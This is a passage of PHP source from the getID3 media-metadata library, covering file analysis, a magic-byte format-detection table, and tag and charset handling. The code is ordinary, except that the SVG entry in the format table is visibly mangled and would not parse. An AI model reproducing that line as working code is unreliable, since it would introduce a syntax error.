PHP.'); } elseif (getid3_lib::intValueSupported($real_filesize)) { unset($this->info['filesize']); fclose($this->fp); throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB, please report to info@getid3.org'); } $this->info['filesize'] = $real_filesize; $this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB) and is not properly supported by PHP.'); } } return true; } catch (Exception $e) { $this->error($e->getMessage()); } return false; } /** * analyze file * * @param string $filename * @param int $filesize * @param string $original_filename * @param resource $fp * * @return array */ public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { try { if (!$this->openfile($filename, $filesize, $fp)) { return $this->info; } // Handle tags foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) { $option_tag = 'option_tag_'.$tag_name; if ($this->$option_tag) { $this->include_module('tag.'.$tag_name); try { $tag_class = 'getid3_'.$tag_name; $tag = new $tag_class($this); $tag->Analyze(); } catch (getid3_exception $e) { throw $e; } } } if (isset($this->info['id3v2']['tag_offset_start'])) { $this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']); } foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) { if (isset($this->info[$tag_key]['tag_offset_start'])) { $this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']); } } // ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier if (!$this->option_tag_id3v2) { fseek($this->fp, 0); $header = fread($this->fp, 10); if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) { $this->info['id3v2']['header'] = true; $this->info['id3v2']['majorversion'] = ord($header[3]); $this->info['id3v2']['minorversion'] = ord($header[4]); $this->info['avdataoffset'] += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length } } // read 32 kb file data fseek($this->fp, $this->info['avdataoffset']); $formattest = fread($this->fp, 32774); // determine format $determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename)); // unable to determine file format if (!$determined_format) { fclose($this->fp); return $this->error('unable to determine file format'); } // check for illegal ID3 tags if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) { if ($determined_format['fail_id3'] === 'ERROR') { fclose($this->fp); return $this->error('ID3 tags not allowed on this file type.'); } elseif ($determined_format['fail_id3'] === 'WARNING') { $this->warning('ID3 tags not allowed on this file type.'); } } // check for illegal APE tags if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) { if ($determined_format['fail_ape'] === 'ERROR') { fclose($this->fp); return $this->error('APE tags not allowed on this file type.'); } elseif ($determined_format['fail_ape'] === 'WARNING') { $this->warning('APE tags not allowed on this file type.'); } } // set mime type $this->info['mime_type'] = $determined_format['mime_type']; // supported format signature pattern detected, but module deleted if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) { fclose($this->fp); return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.'); } // module requires mb_convert_encoding/iconv support // Check encoding/iconv support if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) { $errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. '; if (GETID3_OS_ISWINDOWS) { $errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32'; } else { $errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch'; } return $this->error($errormessage); } // include module include_once(GETID3_INCLUDEPATH.$determined_format['include']); // instantiate module class $class_name = 'getid3_'.$determined_format['module']; if (!class_exists($class_name)) { return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.'); } $class = new $class_name($this); // set module-specific options foreach (get_object_vars($this) as $getid3_object_vars_key => $getid3_object_vars_value) { if (preg_match('#^options_([^_]+)_([^_]+)_(.+)$#i', $getid3_object_vars_key, $matches)) { list($dummy, $GOVgroup, $GOVmodule, $GOVsetting) = $matches; $GOVgroup = (($GOVgroup == 'audiovideo') ? 'audio-video' : $GOVgroup); // variable names can only contain 0-9a-z_ so standardize here if (($GOVgroup == $determined_format['group']) && ($GOVmodule == $determined_format['module'])) { $class->$GOVsetting = $getid3_object_vars_value; } } } $class->Analyze(); unset($class); // close file fclose($this->fp); // process all tags - copy to 'tags' and convert charsets if ($this->option_tags_process) { $this->HandleAllTags(); } // perform more calculations if ($this->option_extra_info) { $this->ChannelsBitratePlaytimeCalculations(); $this->CalculateCompressionRatioVideo(); $this->CalculateCompressionRatioAudio(); $this->CalculateReplayGain(); $this->ProcessAudioStreams(); } // get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags if ($this->option_md5_data) { // do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) { $this->getHashdata('md5'); } } // get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags if ($this->option_sha1_data) { $this->getHashdata('sha1'); } // remove undesired keys $this->CleanUp(); } catch (Exception $e) { $this->error('Caught exception: '.$e->getMessage()); } // return info array return $this->info; } /** * Error handling. * * @param string $message * * @return array */ public function error($message) { $this->CleanUp(); if (!isset($this->info['error'])) { $this->info['error'] = array(); } $this->info['error'][] = $message; return $this->info; } /** * Warning handling. * * @param string $message * * @return bool */ public function warning($message) { $this->info['warning'][] = $message; return true; } /** * @return bool */ private function CleanUp() { // remove possible empty keys $AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate'); foreach ($AVpossibleEmptyKeys as $dummy => $key) { if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) { unset($this->info['audio'][$key]); } if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) { unset($this->info['video'][$key]); } } // remove empty root keys if (!empty($this->info)) { foreach ($this->info as $key => $value) { if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) { unset($this->info[$key]); } } } // remove meaningless entries from unknown-format files if (empty($this->info['fileformat'])) { if (isset($this->info['avdataoffset'])) { unset($this->info['avdataoffset']); } if (isset($this->info['avdataend'])) { unset($this->info['avdataend']); } } // remove possible duplicated identical entries if (!empty($this->info['error'])) { $this->info['error'] = array_values(array_unique($this->info['error'])); } if (!empty($this->info['warning'])) { $this->info['warning'] = array_values(array_unique($this->info['warning'])); } // remove "global variable" type keys unset($this->info['php_memory_limit']); return true; } /** * Return array containing information about all supported formats. * * @return array */ public function GetFileFormatArray() { static $format_info = array(); if (empty($format_info)) { $format_info = array( // Audio formats // AC-3 - audio - Dolby AC-3 / Dolby Digital 'ac3' => array( 'pattern' => '^\\x0B\\x77', 'group' => 'audio', 'module' => 'ac3', 'mime_type' => 'audio/ac3', ), // AAC - audio - Advanced Audio Coding (AAC) - ADIF format 'adif' => array( 'pattern' => '^ADIF', 'group' => 'audio', 'module' => 'aac', 'mime_type' => 'audio/aac', 'fail_ape' => 'WARNING', ), /* // AA - audio - Audible Audiobook 'aa' => array( 'pattern' => '^.{4}\\x57\\x90\\x75\\x36', 'group' => 'audio', 'module' => 'aa', 'mime_type' => 'audio/audible', ), */ // AAC - audio - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3) 'adts' => array( 'pattern' => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]', 'group' => 'audio', 'module' => 'aac', 'mime_type' => 'audio/aac', 'fail_ape' => 'WARNING', ), // AU - audio - NeXT/Sun AUdio (AU) 'au' => array( 'pattern' => '^\\.snd', 'group' => 'audio', 'module' => 'au', 'mime_type' => 'audio/basic', ), // AMR - audio - Adaptive Multi Rate 'amr' => array( 'pattern' => '^\\x23\\x21AMR\\x0A', // #!AMR[0A] 'group' => 'audio', 'module' => 'amr', 'mime_type' => 'audio/amr', ), // AVR - audio - Audio Visual Research 'avr' => array( 'pattern' => '^2BIT', 'group' => 'audio', 'module' => 'avr', 'mime_type' => 'application/octet-stream', ), // BONK - audio - Bonk v0.9+ 'bonk' => array( 'pattern' => '^\\x00(BONK|INFO|META| ID3)', 'group' => 'audio', 'module' => 'bonk', 'mime_type' => 'audio/xmms-bonk', ), // DSF - audio - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital 'dsf' => array( 'pattern' => '^DSD ', // including trailing space: 44 53 44 20 'group' => 'audio', 'module' => 'dsf', 'mime_type' => 'audio/dsd', ), // DSS - audio - Digital Speech Standard 'dss' => array( 'pattern' => '^[\\x02-\\x08]ds[s2]', 'group' => 'audio', 'module' => 'dss', 'mime_type' => 'application/octet-stream', ), // DSDIFF - audio - Direct Stream Digital Interchange File Format 'dsdiff' => array( 'pattern' => '^FRM8', 'group' => 'audio', 'module' => 'dsdiff', 'mime_type' => 'audio/dsd', ), // DTS - audio - Dolby Theatre System 'dts' => array( 'pattern' => '^\\x7F\\xFE\\x80\\x01', 'group' => 'audio', 'module' => 'dts', 'mime_type' => 'audio/dts', ), // FLAC - audio - Free Lossless Audio Codec 'flac' => array( 'pattern' => '^fLaC', 'group' => 'audio', 'module' => 'flac', 'mime_type' => 'audio/flac', ), // LA - audio - Lossless Audio (LA) 'la' => array( 'pattern' => '^LA0[2-4]', 'group' => 'audio', 'module' => 'la', 'mime_type' => 'application/octet-stream', ), // LPAC - audio - Lossless Predictive Audio Compression (LPAC) 'lpac' => array( 'pattern' => '^LPAC', 'group' => 'audio', 'module' => 'lpac', 'mime_type' => 'application/octet-stream', ), // MIDI - audio - MIDI (Musical Instrument Digital Interface) 'midi' => array( 'pattern' => '^MThd', 'group' => 'audio', 'module' => 'midi', 'mime_type' => 'audio/midi', ), // MAC - audio - Monkey's Audio Compressor 'mac' => array( 'pattern' => '^MAC ', 'group' => 'audio', 'module' => 'monkey', 'mime_type' => 'audio/x-monkeys-audio', ), // MOD - audio - MODule (SoundTracker) 'mod' => array( //'pattern' => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)', // has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available 'pattern' => '^.{1080}(M\\.K\\.)', 'group' => 'audio', 'module' => 'mod', 'option' => 'mod', 'mime_type' => 'audio/mod', ), // MOD - audio - MODule (Impulse Tracker) 'it' => array( 'pattern' => '^IMPM', 'group' => 'audio', 'module' => 'mod', //'option' => 'it', 'mime_type' => 'audio/it', ), // MOD - audio - MODule (eXtended Module, various sub-formats) 'xm' => array( 'pattern' => '^Extended Module', 'group' => 'audio', 'module' => 'mod', //'option' => 'xm', 'mime_type' => 'audio/xm', ), // MOD - audio - MODule (ScreamTracker) 's3m' => array( 'pattern' => '^.{44}SCRM', 'group' => 'audio', 'module' => 'mod', //'option' => 's3m', 'mime_type' => 'audio/s3m', ), // MPC - audio - Musepack / MPEGplus 'mpc' => array( 'pattern' => '^(MPCK|MP\\+)', 'group' => 'audio', 'module' => 'mpc', 'mime_type' => 'audio/x-musepack', ), // MP3 - audio - MPEG-audio Layer 3 (very similar to AAC-ADTS) 'mp3' => array( 'pattern' => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]', 'group' => 'audio', 'module' => 'mp3', 'mime_type' => 'audio/mpeg', ), // OFR - audio - OptimFROG 'ofr' => array( 'pattern' => '^(\\*RIFF|OFR)', 'group' => 'audio', 'module' => 'optimfrog', 'mime_type' => 'application/octet-stream', ), // RKAU - audio - RKive AUdio compressor 'rkau' => array( 'pattern' => '^RKA', 'group' => 'audio', 'module' => 'rkau', 'mime_type' => 'application/octet-stream', ), // SHN - audio - Shorten 'shn' => array( 'pattern' => '^ajkg', 'group' => 'audio', 'module' => 'shorten', 'mime_type' => 'audio/xmms-shn', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // TAK - audio - Tom's lossless Audio Kompressor 'tak' => array( 'pattern' => '^tBaK', 'group' => 'audio', 'module' => 'tak', 'mime_type' => 'application/octet-stream', ), // TTA - audio - TTA Lossless Audio Compressor (http://tta.corecodec.org) 'tta' => array( 'pattern' => '^TTA', // could also be '^TTA(\\x01|\\x02|\\x03|2|1)' 'group' => 'audio', 'module' => 'tta', 'mime_type' => 'application/octet-stream', ), // VOC - audio - Creative Voice (VOC) 'voc' => array( 'pattern' => '^Creative Voice File', 'group' => 'audio', 'module' => 'voc', 'mime_type' => 'audio/voc', ), // VQF - audio - transform-domain weighted interleave Vector Quantization Format (VQF) 'vqf' => array( 'pattern' => '^TWIN', 'group' => 'audio', 'module' => 'vqf', 'mime_type' => 'application/octet-stream', ), // WV - audio - WavPack (v4.0+) 'wv' => array( 'pattern' => '^wvpk', 'group' => 'audio', 'module' => 'wavpack', 'mime_type' => 'application/octet-stream', ), // Audio-Video formats // ASF - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio 'asf' => array( 'pattern' => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C', 'group' => 'audio-video', 'module' => 'asf', 'mime_type' => 'video/x-ms-asf', 'iconv_req' => false, ), // BINK - audio/video - Bink / Smacker 'bink' => array( 'pattern' => '^(BIK|SMK)', 'group' => 'audio-video', 'module' => 'bink', 'mime_type' => 'application/octet-stream', ), // FLV - audio/video - FLash Video 'flv' => array( 'pattern' => '^FLV[\\x01]', 'group' => 'audio-video', 'module' => 'flv', 'mime_type' => 'video/x-flv', ), // IVF - audio/video - IVF 'ivf' => array( 'pattern' => '^DKIF', 'group' => 'audio-video', 'module' => 'ivf', 'mime_type' => 'video/x-ivf', ), // MKAV - audio/video - Mastroka 'matroska' => array( 'pattern' => '^\\x1A\\x45\\xDF\\xA3', 'group' => 'audio-video', 'module' => 'matroska', 'mime_type' => 'video/x-matroska', // may also be audio/x-matroska ), // MPEG - audio/video - MPEG (Moving Pictures Experts Group) 'mpeg' => array( 'pattern' => '^\\x00\\x00\\x01[\\xB3\\xBA]', 'group' => 'audio-video', 'module' => 'mpeg', 'mime_type' => 'video/mpeg', ), // NSV - audio/video - Nullsoft Streaming Video (NSV) 'nsv' => array( 'pattern' => '^NSV[sf]', 'group' => 'audio-video', 'module' => 'nsv', 'mime_type' => 'application/octet-stream', ), // Ogg - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*)) 'ogg' => array( 'pattern' => '^OggS', 'group' => 'audio', 'module' => 'ogg', 'mime_type' => 'application/ogg', 'fail_id3' => 'WARNING', 'fail_ape' => 'WARNING', ), // QT - audio/video - Quicktime 'quicktime' => array( 'pattern' => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)', 'group' => 'audio-video', 'module' => 'quicktime', 'mime_type' => 'video/quicktime', ), // RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF) 'riff' => array( 'pattern' => '^(RIFF|SDSS|FORM)', 'group' => 'audio-video', 'module' => 'riff', 'mime_type' => 'audio/wav', 'fail_ape' => 'WARNING', ), // Real - audio/video - RealAudio, RealVideo 'real' => array( 'pattern' => '^\\.(RMF|ra)', 'group' => 'audio-video', 'module' => 'real', 'mime_type' => 'audio/x-realaudio', ), // SWF - audio/video - ShockWave Flash 'swf' => array( 'pattern' => '^(F|C)WS', 'group' => 'audio-video', 'module' => 'swf', 'mime_type' => 'application/x-shockwave-flash', ), // TS - audio/video - MPEG-2 Transport Stream 'ts' => array( 'pattern' => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G". Check for at least 10 packets matching this pattern 'group' => 'audio-video', 'module' => 'ts', 'mime_type' => 'video/MP2T', ), // WTV - audio/video - Windows Recorded TV Show 'wtv' => array( 'pattern' => '^\\xB7\\xD8\\x00\\x20\\x37\\x49\\xDA\\x11\\xA6\\x4E\\x00\\x07\\xE9\\x5E\\xAD\\x8D', 'group' => 'audio-video', 'module' => 'wtv', 'mime_type' => 'video/x-ms-wtv', ), // Still-Image formats // BMP - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4) 'bmp' => array( 'pattern' => '^BM', 'group' => 'graphic', 'module' => 'bmp', 'mime_type' => 'image/bmp', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // GIF - still image - Graphics Interchange Format 'gif' => array( 'pattern' => '^GIF', 'group' => 'graphic', 'module' => 'gif', 'mime_type' => 'image/gif', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // JPEG - still image - Joint Photographic Experts Group (JPEG) 'jpg' => array( 'pattern' => '^\\xFF\\xD8\\xFF', 'group' => 'graphic', 'module' => 'jpg', 'mime_type' => 'image/jpeg', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // PCD - still image - Kodak Photo CD 'pcd' => array( 'pattern' => '^.{2048}PCD_IPI\\x00', 'group' => 'graphic', 'module' => 'pcd', 'mime_type' => 'image/x-photo-cd', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // PNG - still image - Portable Network Graphics (PNG) 'png' => array( 'pattern' => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A', 'group' => 'graphic', 'module' => 'png', 'mime_type' => 'image/png', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // SVG - still image - Scalable Vector Graphics (SVG) 'svg' => array( 'pattern' => '( 'graphic', 'module' => 'svg', 'mime_type' => 'image/svg+xml', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // TIFF - still image - Tagged Information File Format (TIFF) 'tiff' => array( 'pattern' => '^(II\\x2A\\x00|MM\\x00\\x2A)', 'group' => 'graphic', 'module' => 'tiff', 'mime_type' => 'image/tiff', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // EFAX - still image - eFax (TIFF derivative) 'efax' => array( 'pattern' => '^\\xDC\\xFE', 'group' => 'graphic', 'module' => 'efax', 'mime_type' => 'image/efax', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // Data formats // ISO - data - International Standards Organization (ISO) CD-ROM Image 'iso' => array( 'pattern' => '^.{32769}CD001', 'group' => 'misc', 'module' => 'iso', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', 'iconv_req' => false, ), // HPK - data - HPK compressed data 'hpk' => array( 'pattern' => '^BPUL', 'group' => 'archive', 'module' => 'hpk', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // RAR - data - RAR compressed data 'rar' => array( 'pattern' => '^Rar\\!', 'group' => 'archive', 'module' => 'rar', 'mime_type' => 'application/vnd.rar', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // SZIP - audio/data - SZIP compressed data 'szip' => array( 'pattern' => '^SZ\\x0A\\x04', 'group' => 'archive', 'module' => 'szip', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // TAR - data - TAR compressed data 'tar' => array( 'pattern' => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}', 'group' => 'archive', 'module' => 'tar', 'mime_type' => 'application/x-tar', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // GZIP - data - GZIP compressed data 'gz' => array( 'pattern' => '^\\x1F\\x8B\\x08', 'group' => 'archive', 'module' => 'gzip', 'mime_type' => 'application/gzip', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // ZIP - data - ZIP compressed data 'zip' => array( 'pattern' => '^PK\\x03\\x04', 'group' => 'archive', 'module' => 'zip', 'mime_type' => 'application/zip', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // XZ - data - XZ compressed data 'xz' => array( 'pattern' => '^\\xFD7zXZ\\x00', 'group' => 'archive', 'module' => 'xz', 'mime_type' => 'application/x-xz', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // XZ - data - XZ compressed data '7zip' => array( 'pattern' => '^7z\\xBC\\xAF\\x27\\x1C', 'group' => 'archive', 'module' => '7zip', 'mime_type' => 'application/x-7z-compressed', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // Misc other formats // PAR2 - data - Parity Volume Set Specification 2.0 'par2' => array ( 'pattern' => '^PAR2\\x00PKT', 'group' => 'misc', 'module' => 'par2', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // PDF - data - Portable Document Format 'pdf' => array( 'pattern' => '^\\x25PDF', 'group' => 'misc', 'module' => 'pdf', 'mime_type' => 'application/pdf', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // MSOFFICE - data - ZIP compressed data 'msoffice' => array( 'pattern' => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document 'group' => 'misc', 'module' => 'msoffice', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // TORRENT - .torrent 'torrent' => array( 'pattern' => '^(d8\\:announce|d7\\:comment)', 'group' => 'misc', 'module' => 'torrent', 'mime_type' => 'application/x-bittorrent', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // CUE - data - CUEsheet (index to single-file disc images) 'cue' => array( 'pattern' => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents 'group' => 'misc', 'module' => 'cue', 'mime_type' => 'application/octet-stream', ), ); } return $format_info; } /** * @param string $filedata * @param string $filename * * @return mixed|false */ public function GetFileFormat(&$filedata, $filename='') { // this function will determine the format of a file based on usually // the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG, // and in the case of ISO CD image, 6 bytes offset 32kb from the start // of the file). // Identify file format - loop through $format_info and detect with reg expr foreach ($this->GetFileFormatArray() as $format_name => $info) { // The /s switch on preg_match() forces preg_match() NOT to treat // newline (0x0A) characters as special chars but do a binary match if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) { $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; return $info; } } if (preg_match('#\\.mp[123a]$#i', $filename)) { // Too many mp3 encoders on the market put garbage in front of mpeg files // use assume format on these if format detection failed $GetFileFormatArray = $this->GetFileFormatArray(); $info = $GetFileFormatArray['mp3']; $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; return $info; } elseif (preg_match('#\\.mp[cp\\+]$#i', $filename) && preg_match('#[\x00\x01\x10\x11\x40\x41\x50\x51\x80\x81\x90\x91\xC0\xC1\xD0\xD1][\x20-37][\x00\x20\x40\x60\x80\xA0\xC0\xE0]#s', $filedata)) { // old-format (SV4-SV6) Musepack header that has a very loose pattern match and could falsely match other data (e.g. corrupt mp3) // only enable this pattern check if the filename ends in .mpc/mpp/mp+ $GetFileFormatArray = $this->GetFileFormatArray(); $info = $GetFileFormatArray['mpc']; $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; return $info; } elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) { // there's not really a useful consistent "magic" at the beginning of .cue files to identify them // so until I think of something better, just go by filename if all other format checks fail // and verify there's at least one instance of "TRACK xx AUDIO" in the file $GetFileFormatArray = $this->GetFileFormatArray(); $info = $GetFileFormatArray['cue']; $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; return $info; } return false; } /** * Converts array to $encoding charset from $this->encoding. * * @param array $array * @param string $encoding */ public function CharConvert(&$array, $encoding) { // identical encoding - end here if ($encoding == $this->encoding) { return; } // loop thru array foreach ($array as $key => $value) { // go recursive if (is_array($value)) { $this->CharConvert($array[$key], $encoding); } // convert string elseif (is_string($value)) { $array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value)); } } } /** * @return bool */ public function HandleAllTags() { // key name => array (tag name, character encoding) static $tags; if (empty($tags)) { $tags = array( 'asf' => array('asf' , 'UTF-16LE'), 'midi' => array('midi' , 'ISO-8859-1'), 'nsv' => array('nsv' , 'ISO-8859-1'), 'ogg' => array('vorbiscomment' , 'UTF-8'), 'png' => array('png' , 'UTF-8'), 'tiff' => array('tiff' , 'ISO-8859-1'), 'quicktime' => array('quicktime' , 'UTF-8'), 'real' => array('real' , 'ISO-8859-1'), 'vqf' => array('vqf' , 'ISO-8859-1'), 'zip' => array('zip' , 'ISO-8859-1'), 'riff' => array('riff' , 'ISO-8859-1'), 'lyrics3' => array('lyrics3' , 'ISO-8859-1'), 'id3v1' => array('id3v1' , $this->encoding_id3v1), 'id3v2' => array('id3v2' , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8 'ape' => array('ape' , 'UTF-8'), 'cue' => array('cue' , 'ISO-8859-1'), 'matroska' => array('matroska' , 'UTF-8'), 'flac' => array('vorbiscomment' , 'UTF-8'), 'divxtag' => array('divx' , 'ISO-8859-1'), 'iptc' => array('iptc' , 'ISO-8859-1'), 'dsdiff' => array('dsdiff' , 'ISO-8859-1'), ); } // loop through comments array foreach ($tags as $comment_name => $tagname_encoding_array) { list($tag_name, $encoding) = $tagname_encoding_array; // fill in default encoding type if not already present if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) { $this->info[$comment_name]['encoding'] = $encoding; } // copy comments if key name set if (!empty($this->info[$comment_name]['comments'])) { foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) { foreach ($valuearray as $key => $value) { if (is_string($value)) { $value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed! } if (isset($value) && $value !== "") { if (!is_numeric($key)) { $this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value; } else { $this->info['tags'][trim($tag_name)][trim($tag_key)][] = $value; } } } if ($tag_key == 'picture') { // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere unset($this->info[$comment_name]['comments'][$tag_key]); } } if (!isset($this->info['tags'][$tag_name])) { // comments are set but contain nothing but empty strings, so skip continue; } $this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']); // only copy gets converted! if ($this->option_tags_html) { foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) { if ($tag_key == 'picture') { // Do not to try to convert binary picture data to HTML // https://github.com/JamesHeinrich/getID3/issues/178 continue; } $this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']); } } } } // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere if (!empty($this->info['tags'])) { $unset_keys = array('tags', 'tags_html'); foreach ($this->info['tags'] as $tagtype => $tagarray) { foreach ($tagarray as $tagname => $tagdata) { if ($tagname == 'picture') { foreach ($tagdata as $key => $tagarray) { $this->info['comments']['picture'][] = $tagarray; if (isset($tagarray['data']) && isset($tagarray['image_mime'])) { if (isset($this->info['tags'][$tagtype][$tagname][$key])) { unset($this->info['tags'][$tagtype][$tagname][$key]); } if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) { unset($this->info['tags_html'][$tagtype][$tagname][$key]); } } } } } foreach ($unset_keys as $unset_key) { // remove possible empty keys from (e.g. [tags][id3v2][picture]) if (empty($this->info[$unset_key][$tagtype]['picture'])) { unset($this->info[$unset_key][$tagtype]['picture']); } if (empty($this->info[$unset_key][$tagtype])) { unset($this->info[$unset_key][$tagtype]); } if (empty($this->info[$unset_key])) { unset($this->info[$unset_key]); } } // remove duplicate copy of picture data from (e.g. [id3v2][comments][picture]) if (isset($this->info[$tagtype]['comments']['picture'])) { unset($this->info[$tagtype]['comments']['picture']); } if (empty($this->info[$tagtype]['comments'])) { unset($this->info[$tagtype]['comments']); } if (empty($this->info[$tagtype])) { unset($this->info[$tagtype]); } } } return true; } /** * Calls getid3_lib::CopyTagsToComments() but passes in the option_tags_html setting from this instance of getID3 * * @param array $ThisFileInfo * * @return bool */ public function CopyTagsToComments(&$ThisFileInfo) { return getid3_lib::CopyTagsToComments($ThisFileInfo, $this->option_tags_html); } /** * @param string $algorithm * * @return array|bool */ public function getHashdata($algorithm) { switch ($algorithm) { case 'md5': case 'sha1': break; default: return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()'); } if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) { // We cannot get an 